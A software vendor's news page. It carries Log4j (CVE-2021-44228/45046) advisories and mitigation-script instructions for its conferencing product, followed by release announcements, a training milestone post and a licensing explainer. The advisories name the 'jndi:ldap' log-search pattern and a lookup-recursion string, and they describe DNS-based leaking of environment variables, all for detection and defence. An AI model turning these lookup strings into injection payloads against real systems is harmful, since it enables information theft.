VQ Advisory. December 15, 2021: CVE-2021-44228 status update

Following the recent critical CVE issue with Log4j (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) a second, lower severity CVE was made public December 14, 2021 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046). This second CVE is not mitigated by the previously provided mitigation script, however it is important to note that this is a separate issue to the one initially disclosed and has a much lower severity rating at the current moment.

Current advice from Elasticsearch (ES) regarding this new CVE and the mitigation previously provided indicates that it will still protect users against information leaks:

Update 15 December: A further vulnerability (CVE-2021-45046) was disclosed on December 14th after it was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. Our guidance for Elasticsearch and Logstash are unchanged by this new vulnerability and we are currently working to assess other products in order to provide a clear statement.”

It is also worth noting that:

Details on Elasticsearch information leakage

The information leakage vulnerability in Log4j enables an attacker to exfiltrate certain environmental data via DNS – it does not permit access to data within the Elasticsearch cluster. The data that can be leaked is limited to those available via Log4j “lookups”, which includes system environment variables and a limited set of environmental data from other sources.


(https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476)

The threat from the Denial of Service (DoS) that this new CVE presents can’t yet be fully dismissed. However early reports of testing this attack vector have indicated that it has a lower impact and is considered a limited DoS:

“However, in our testing we did not find this DOS to be resource consuming as it seemed that the infinite loop created by recursively resolving ${ctx:apiversion} was identified by the program and errored out.” – https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/

Here at VQ Communications we are actively monitoring the situation and incoming CVEs. As many security analysts are predicting that this situation is far from finished developing we continue to advise caution in exposing of your VQCM virtual machines and APIs to the public internet. There is every chance that more details regarding these CVEs and as yet undisclosed issues will surface in the coming days or weeks. We advise a defensive posture until such point as customers can upgrade to the 3.9 release of VQCM (due January 17, 2022).

The following posts provided additional background information:

https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/

https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

Summary:

1. The guidance from Elastic remains that the mitigation outlined in our mail yesterday still holds for the information leak. Apply the mitigation script if you haven’t already. When VQCM 3.9 becomes available in January (target Jan 17, 2022), update to VQCM 3.9.

2. Minimize public internet exposure wherever possible. If you do need to expose a public service, ensure only HTTPS ports are open and use a reverse proxy or equivalent.

We have added a link on the home page of vqcomms.com; it links to the latest status and all of our posts related to this CVE. 

The Mitigation Script and guidance to using it can be found here:

  • Navigate to the https://www.vqcomms.com/resources/ page, log in and download the “log4j2-cve.zip” file from the “CVE-2021-44228 Mitigation Script” category. A User Guide can also be downloaded.

regards

The VQ Team

VQCM update on CVE-2021-44228: analysis results and mitigation script.

Yesterday morning, December 13, 2021, we issued a security advisory regarding a critical severity CVE that impacted an Apache library (Log4j 2) and anything which used this. This includes Elasticsearch (ES). Elasticsearch is a component within VQ Conference Manager.

We got to work in-house testing to better understand the issue, its implications and the impact it has on VQCM VMs. One of the conclusions from this analysis and testing was that it would be non-trivial for the CVE to be successfully exploited because of VQCM’s logging architecture. Especially for an external facing attacker.

Whilst this gives a degree of assurance, we strongly recommend customers apply a mitigation script we have created. The script follows mitigation advice from Elasticsearch. Details of how to get the script and how to run it can be found below.

In addition, Elasticsearch will be producing a new version of Elasticsearch (7.16.1) which removes the affected module. VQCM 3.9 is due mid-January and will contain Elasticsearch 7.16.1.

Our guidance is:

  • Download and apply the mitigation script as soon as possible.
  • Plan on upgrading to VQCM 3.9 in January (due 1/17/2022)
  • Minimize public internet exposure wherever possible. If you do need to expose a public service, ensure only HTTPS ports are open and use a reverse proxy or equivalent.

Downloading and installing the mitigation script

Please note this script will bring the system down, so it is recommended to be run out of working hours. 

  • Navigate to the https://www.vqcomms.com/resources/ page, log in and download the “log4j2-cve.zip” file from the “CVE-2021-44228 Mitigation Script” category.
  • Enable SSH from the CM-Admin page (port 1234) under the “Start / Manage / SSH Access” section, and create an SSH user if you don’t already have one (Note: SSH is enabled if the button shows “Disable SSH access”).
  • Using WinSCP or SCP, copy the “log4j2-cve.zip” file on the VQCM Virtual Machine (VM), under the home directory of your SSH user.
  • Open an SSH session using Putty (or similar tool) with the VQCM VM, authenticating with the same SSH user.
  • Run the following commands:
    • unzip log4j2-cve.zip
    • chmod +x log4j2-cve.sh
    • sudo ./log4j2-cve.sh
  • This command will ask you for your password to escalate privileges, this is the same password as the SSH user you are logged in as.
  • The tool will run for a moment (10-15 mins, could be more depending on how much data your system has). If it runs successfully to the end, it will output “SUCCESS the mitigation has been applied“:

PLAY RECAP **********************************************************************************************************************************************************************************************************************************************************************************************************************

localhost                  : ok=13   changed=7    unreachable=0    failed=0    skipped=8    rescued=0    ignored=0

All pods are running, exiting

usename

———-

postgres

(1 row)

ALTER ROLE

~~~

SUCCESS the migitation has been applied

~~~

If you see the SUCCESS message, the mitigation has been applied successfully. If you see the “ERROR the mitigation was NOT applied“, please contact VQ support at support@vqcomms.com, with as much information as possible.

Which versions of VQ can I use the mitigation script with? 

Versions 3.6, 3.7 and 3.8; please run the mitigation script.

For 3.x versions 3.5 and below, please contact support@vqcomms.com.

Regards

The VQ team

VQ Security advisory for Log4J2 CVE (CVE-2021-44228)

Over the weekend a critical security issue which impacts Log4j2 (CVE-2021-44228) and all products which use it as a dependency became public. This is a significant and critical level CVE and needs to be treated as such by any company which is even potentially impacted. As the VQCM virtual machine uses Elasticsearch (ES) for logging this issue impacts our products (Kibana is currently listed as not impacted). Due to the nature of the vulnerability and the extensive logging that VQCM provides any publicly exposed component of the VQCM becomes a potential attack surface. This includes the VQCM API / UI, as even a failed login can be used as a crafted log message to carry out an attack against the underlying ES logging.

By default, our product firewall settings block access to the ES port and we recommend that this port is blocked if you have previously opened it. If you have made your VQCM API / UI publicly accessible we recommend removing this public access by placing it behind your own firewall(s) or stopping the exposed service / route.

It is important to note that, as per current Elasticsearch security announcements, ES is not at risk of a Remote Code Execution attack, however it is still at risk of information leak.

As such we strongly advise all customers to immediately block publicly exposed elements of the VQCM instance. We are currently working on a mitigation (seen here – https://www.elastic.co/guide/en/elasticsearch/reference/7.16/advanced-configuration.html#set-jvm-options) for this issue following security announcements from Elasticsearch themselves which we are hoping to get out to customers as soon as we have finished in house security testing. The up-and-coming release of 3.9 (expected release date 17/01/2022) will include a fixed version of the Elasticsearch instance. 

Customers who are concerned and want to make sure their instance has not been impacted should check their web traffic logs (nginx) for the following keyword(s) “jndi:ldap”. If customers are unsure on how to do this, please carry out a log dump and make it available to us via our support team. Customers finding positive hits for this will need to assume that there has been an information leak from their VQCM instance and should take appropriate action.

Our support team is on hand for customers who wish to discuss this and would like additional information or help. 

Regards,

Mike Horsley 

Introducing VQ Conference Manager 3.8

Here we are about to press the ‘go’ button again on a new VQ Conference Manager release.

VQ Conference Manager 3.8 is very personal for me. We finally got to the point where we addressed some of my personal pet peeves. I’m delighted to say I’m really pleased with how it looks.

Let’s start with what customers are asking for: a solution that enables them to deliver conferencing services on CMS (call quality/experience, interoperability, scale and media security) that gives a user experience similar to the cloud based offerings. TMS customers are looking for a TMS replacement that addresses their OBTP, Directory Services and Device Management needs.

Then let’s throw in my pet peeves:

1.      It was difficult to find a soft client that worked consistently and well. There was also the challenge that we wanted to use one that we knew all our customers could use. We really needed a great soft client that shipped with every CMS that didn’t rely on a cloud based service.

2.      It was too difficult to share join details with the people I wanted to have calls with. It was embarrassing how many times I had people ask me to send them the details for their space/meeting so the people they wanted to meet could join their call.

VQ Conference Manager 3.8.0 and CMS 3.3 come together really nicely. Add Expressway with MRA and Web App works incredibly well; it gives us a client that ships with every CMS and VQCM’s new “Home” coApp makes it really easy to get the join details for a Space or Meeting. From the VQ UI, you can click Join for click to call ‘ease of join’. Sharing the details is a breeze; preview them or simply copy them and paste them into a mail, slack or meeting appointment.

What I really like is that in about 4 clicks, I can get the details for a Role on a Space (or meeting), copy and paste it into an email, send it out to people and then have them join from wherever they are – room system, soft client or out on the road, from their iPhone. It’s especially satisfying joining a call either via the Web App or Webex client from my phone – I still have that sense of disbelief how good the video is and I can do it from wherever I have Wi-Fi or 4G.

The results are sensational. I’m completely sold and have been loving the experience.

Activity got a pretty major rework and looks really good for it. Active Speaker now works across all call types. Recurring Meetings got some love and now support irregular patterns and a selectable end date (how did we miss that the first time around)?

Other ‘make my life easier’ functionality includes the addition of Local Users for those of us without AD/LDAP.

On the theme of ‘make my life easier’ – system installers will love the certificate management changes now in CM-Admin. Trusted certs, cert chain editor along with issuer labels and the ability to paste certs. Ansible playbooks start to appear with CMS backup playbooks and one for CMS certificate renewal.

VQ Conference Manager 3.8.0 paves the way for two follow-on releases:

·         VQCM 3.8.1 adds Pane Placement and more filtering of Meeting Lists (e.g., relative dates)

·         VQCM 3.8+ adds One Button To Push. 

VQCM 3.8.1 is currently planned for the January 2022 time frame; VQCM 3.8+ will be made available as an update to VQCM 3.8.0. No dates yet for 3.8+; we’re hoping sooner rather than later.

For all the details, please read the release notes available from the vqcomms.com (Menu->VQ conference Manager->release notes).

We’re really pleased with how it looks and we hope you like it too.

Keep up to date with the latest VQ news, join our ‘Ask VQ’ Webex Space

VQ Conference Manager Training Milestone

Here at VQ we’ve just passed another milestone as our 200th person has completed our VQ Conference Manager certified training programmes.

Developed and delivered by our training partner, Scott Waschler, of TEKnowLogical Solutions, 2 hands-on training programmes are offered:

VQ Conference Manager Concierge and Call Management Certification (2 days)

For unified communications and help-desk engineers who are responsible for providing scheduling and trouble resolution to organizations using VQ Conference Manager, concentrating on after-deployment operations management.

VQ Conference Manager Deployment and System Administration Certification (3 days)

For unified communications and network engineers who are responsible for installing, configuring, and trouble resolution of VQ Conference Manager, concentrating on deployment and initial configuration of VQ Conference Manager.

Both can be ordered through Cisco’s GPL via CCW:

But why would you take time out of a busy schedule to take the courses? Here’s what a few recent attendees have said:

“Scott is an excellent instructor and always pauses at the right places to see if there are any questions and then move on. Course was paced properly and was all around enjoyable.”

“The training was excellent. Real kudos to the instructor, Scott, for breaking down a lot of detailed info for us.”

“Scott, our instructor, really knows his stuff…and did an excellent job of breaking it down into understandable chunks (a skill not every instructor has).”

So, if you’re interested in VQ Conference Manager, find out more at https://www.vqcomms.com/training-portal/, speak to us on our ‘Ask VQ’ Webex Space or email us at info@vqcomms.com

VQ Conference Manager 3.7 Released

VQCM 3.7 is now available to download and we think you’ll like it.

Here’s what’s new…

  • Active Speaker indications for Scheduled Meetings
  • People in Lobby indicators
  • Meeting List filters
  • Duplication/Cloning of LDAP Configs, UX Profiles, Space Templates, Email Templates
  • Automatic Gain Control on Space Template Roles
  • System use Terms and Conditions pre-login message
  • Refinements to Elasticsearch data collection for CMS syslogs and Expressway syslogs, call data records and metric data; early adopter program extended
  • Public API early adopter program
  • Ansible CMS provisioning automation early adopter program

The API, Ansible CMS Provisioning and expanded Elasticsearch data collection from CMS/Expressway features are examples of how VQ starts to evolve into becoming a platform for UC solutions; more is coming and we’re very pleased to be making the first steps.

For the details, please see the vqcomms.com customer portal under knowledge base/release notes.

For customers wary of updating to the latest 3.7 release, now’s a good time to consider updating to VQCM 3.6.1. It’s been in the field now for about 3 months and is performing extremely well.

If you would like to be part of one of our early adopter programs, please email support@vqcomms.com

Please contact support@vqcomms.com to arrange installs or upgrades.

Simplifying Licensing for VQ Conference Manager

VQ’s simple licensing model aligns with Cisco’s models for CMS, accessible via  the Cisco Global price list and available to purchase via your usual Cisco Partner.

The purpose of this article is to explain our licensing model and a couple of small changes we have made effective 6th March 2021.

At VQ we have kept our licensing model simple; we made the decision to align our licensing to match Cisco’s for Cisco Meeting Server (CMS). As VQ Conference Manager (VQCM) is a platform for the management of CMS, we match the Cisco “buying models”. There are now three options:

  1. Enterprise Agreement (EA)
  2. Active User (AU)
  3. Named User (or al a carte PMP & SMP licensing)

As you may know VQCM is available to purchase via your usual Cisco Partner. If you are a Cisco Partner you know how to get quotes for all things Cisco already – VQ is available in exactly the same way as any Cisco product.

The changes I mentioned are threefold.

  1. Addition of the AU model – more on this in a bit.
  2. Realignment of the EA price tiers and entry point.
    Up until this change, the VQCM entry point for an EA was 5,000 users (Knowledge Workers, a term to be discussed shortly). As the Cisco Flex Plan and CMS subscription both have an entry point of 250 Knowledge Workers, we have moved our EA entry point to match the price tiers in the Flex Plan pricing (if using the CMS Subscription rather than Flex there are no price tiers – but you still get them with VQCM).
Enterprise AgreementPrevious ModelNew Model
Tier 15000-9999250-1999
Tier 210000-199992000-9999
Tier 320000-3999910000+
Tier 440000+ 

3. Realignment of the PMP & SMP al a carte pricing, or named user pricing, to align with the Flex plan.

As per the EA, there is no tiering in the CMS subscription; it is a flat rate. Our price tiers now align with the Flex Plan.

PMPPrevious ModelNew Model
Tier 11-4991-249
Tier 2500-999250+
Tier 31000-4999 
SMP  
Tier 11-241-24
Tier 225-4925+
Tier 350+ 

This is starting to sound complicated, but it is quite simple. However you purchase your CMS licensing, you use the same model for VQCM. The table below shows how they match up.

CMS ModelVQ Model
CMS Subscription PMP & SMPPMP & SMP
CMS Enterprise AgreementEnterprise Agreement
Flex Plan Named UserPMP & SMP
Flex Plan Active UserActive User
Flex Plan Enterprise AgreementEnterprise Agreement

VQ Conference Manager Options

I have been asked recently by a couple of customers whether they could just buy elements of the VQ Conference Manager platform; the answer was a polite no. The Outlook Add-In is an option, but cannot work without the VQCM platform, and without the VQCM platform there would be no data for Analytics model to present.

So, once we know the purchasing model, there are a total of 3 additional options on top of the licensing model

  1. Do you want to use one of the three end user applications?
    Either the Outlook Add In, Jabber Add In, or iOS app
  2. Do you want to use more than one of these apps? If so, they come as a pack with all three included.
  3. Do you require the advanced functionality within the VQ Analytics?

The purchasing of these works in largely the same way as the VQCM platform. If you are subscribing to an EA or an Active User model, then you buy the apps in the same quantity. If you are buying al a carte we license here on a per user basis as it is a user tool – so if you are buying 20 SMP licenses you need to know how many users will need the App or App’s you plan to deploy.

The advanced analytics is licensed on a per VQCM node basis; for now, most customers are single node but as we move to High Availability it will be necessary to license each node in the environment. Please contact us to discuss your plans so we can advise you on this.

Named User, Active User or Enterprise Agreement?

Determining the appropriate buying model for VQCM, as I have discussed relates to the the buying model for CMS. This is a process that your Cisco partner would usually model out and compare options to present the costs and benefits of one route vs another. They should include VQCM in this modelling and we are happy to work with you or your partner in building out these options.

Typically for smaller environments the al la carte model works out best. Where there are over 250 knowledge workers in the company and you want to provide services to the whole (or significant part of) an organization then the Active User or Enterprise Agreements work are a great option.

For an Enterprise Agreement, once we know the Knowledge Worker count, your Cisco partner can easily produce a quote for an Enterprise Agreement.

The Active User model for VQCM is only applicable in an environment where the customer has an Active User Flex Plan with on-premise meetings or as we know it, CMS included.

In this environment we again match the number of Active Users on the Flex plan, and we align with the True Forwards methodology for determining future licensing.

The VQCM Active User buying model, is subject to a True Forward process; an annual review to ensure the KW and AU numbers are correct for the following year. It is vital that the VQCM subscription is updated for licensing to remain in compliance when the Cisco True Forward is carried out.

The content of this article is intended for end user organisations, providing some context to the licensing model choices for VQCM. The determination of the most appropriate CMS licensing model for your organization is something that should be discussed with your Cisco partner or with your Cisco account manager.

VQ Communications are happy to help Cisco partners and Cisco employees with building out the correct licensing options for VQ.

Feel free to fire your questions to info@vqcomms.com or join the AskVQ Webex space at https://eurl.io/#1IrlwmHkN

Steve Holmes, 15th March 2021



Cisco License definitions

I hope this has been helpful so far; the complicated bit is coming up. As we align to the Cisco models, we also tie up with their terminology and definitions. This is supporting information about Cisco licensing models rather than being specifically relevant to VQ licensing.

The two things to cover in this section are the definition and calculation of Knowledge Works and Active Users.

PMP (or Named Users) and SMP licensing is simple – how many people do you want to be able to schedule calls, or to share a pool of licenses.

Enterprise and Active User agreements, however, use the terminology Knowledge Workers, and in the case of the Active User model what defines an Active User must be understood.

Cisco’s definition of a Knowledge Worker is important, and they define it here:


They go on to say:

An employee means number of full or part-time employees, a contractor means a non-employee who works under your control and has access to your systems.

A device means a computing or communications device capable of running software, or browser plugins. This would include a desk phone, mobile device, computer, tablet or video device.

Therefore, the Knowledge Worker count is simply the number of employees or contractors that utilize a computer, tablet or phone in the course of their duties.

The purpose of defining this here is to explain that the definition of a Knowledge Worker to VQ is the same as it is to Cisco. These calculations are required to license CMS in the first place; the VQ licensing as I have said before just matches back to Cisco’s.

Cisco also define some best practices for counting the number of Knowledge Workers in an organisation:

There are exceptions to these rules, in shared role positions such as reception or service desks, and shift working environments such as manufacturing and nursing environments.

There is a Cisco document that this information has been taken from which should be read in full for the determination of an organizations Knowledge Worker count.

See “Cisco – Knowledge Worker Definition and EUIF” available on the Cisco website or via your search engine of choice.

The Active User license model provides your entire organization with access to Flex Plan Meetings, in this case on-premise meetings on CMS.

The AU Model price tier is based on the same thresholds as the EA, but you only pay for the number of anticipated Active Users. This may increase during the contract term as your organization grows or the number of meetings increases. There is a minimum threshold of 15% of the KW count, or 40, which-ever is higher.

So, the minimum sizing for a Flex Plan is 250 KW’s and 40 AU’s.

The definition of an Active User is someone who schedules or creates a conference on CMS once within any given month.

The Cisco Active User Flex Plan are subject to a True Forward process

This is a mechanism to catch up the paid for licensing to match the current usage requirements.

The True Forward is a Cisco defined process and measures the average number of Active Users, and the number of deployed Knowledge Workers. This is an annual activity. For example, on a three year contract a true forward calculation would be performed prior to year 2 and 3 to ensure the license usage being paid for is not lower than the number of Active Users and/or Knowledge Workers.

An average of the Active Users is taken across months 9, 10 and 11 and is used to determine whether an increase is required prior to the anniversary of the agreement.

The Cisco licensing requirements are a topic that should be discussed with your Cisco partner or Cisco Account Manager to determine the most appropriate model and to secure pricing, the information provided here is for advice and guidance only.

Steve Holmes, 15th March 2021

VQ Conference Manager 3.6 Released

I’m really excited to announce that VQ Conference Manager 3.6.1 is now available for download.

VQCM 3.6.1 is a big and exciting release.

So, what’s the excitement? Here’s the headliner list:

  • Recurring Meetings can now be scheduled. It’s nice to welcome this functionality back (it’s actually a complete re-write) from the old days of VQ on Codian
  • Lobby and call-lock
  • Elastic and Kibana updated to the latest 7.10 version (VQCM 3.5 was running Elastic 6.8 so there’s a big leap)
  • Elastic Index Management has been updated to use Elastic’s Index Lifecycle Management (“ILM”). We’ve switched from using lots of small indices to fewer, much bigger indices. The impact is significant improvements in Kibana performance, reduced load times and lower storage requirements

We’re also introducing the concept of ‘early adopter’ functionality and something we’ve talked about for what feels like years. Well, finally it’s here and I’m delighted to announce that VQCM 3.6.1 includes “CMS and Expressway data ingress” – syslog data from CMS and syslog, CDR and metric data can be collected from Expressway E and C devices. The configuration process is via config files at VQCM 3.6 and we plan adding a CM-Admin page for it at VQCM 3.7. More details in the release notes.

A lot has changed in this release. So please read the release notes carefully. If in doubt, please contact support@vqcomms.com.

Webinar: VQ Conference Manager 3.6 Launch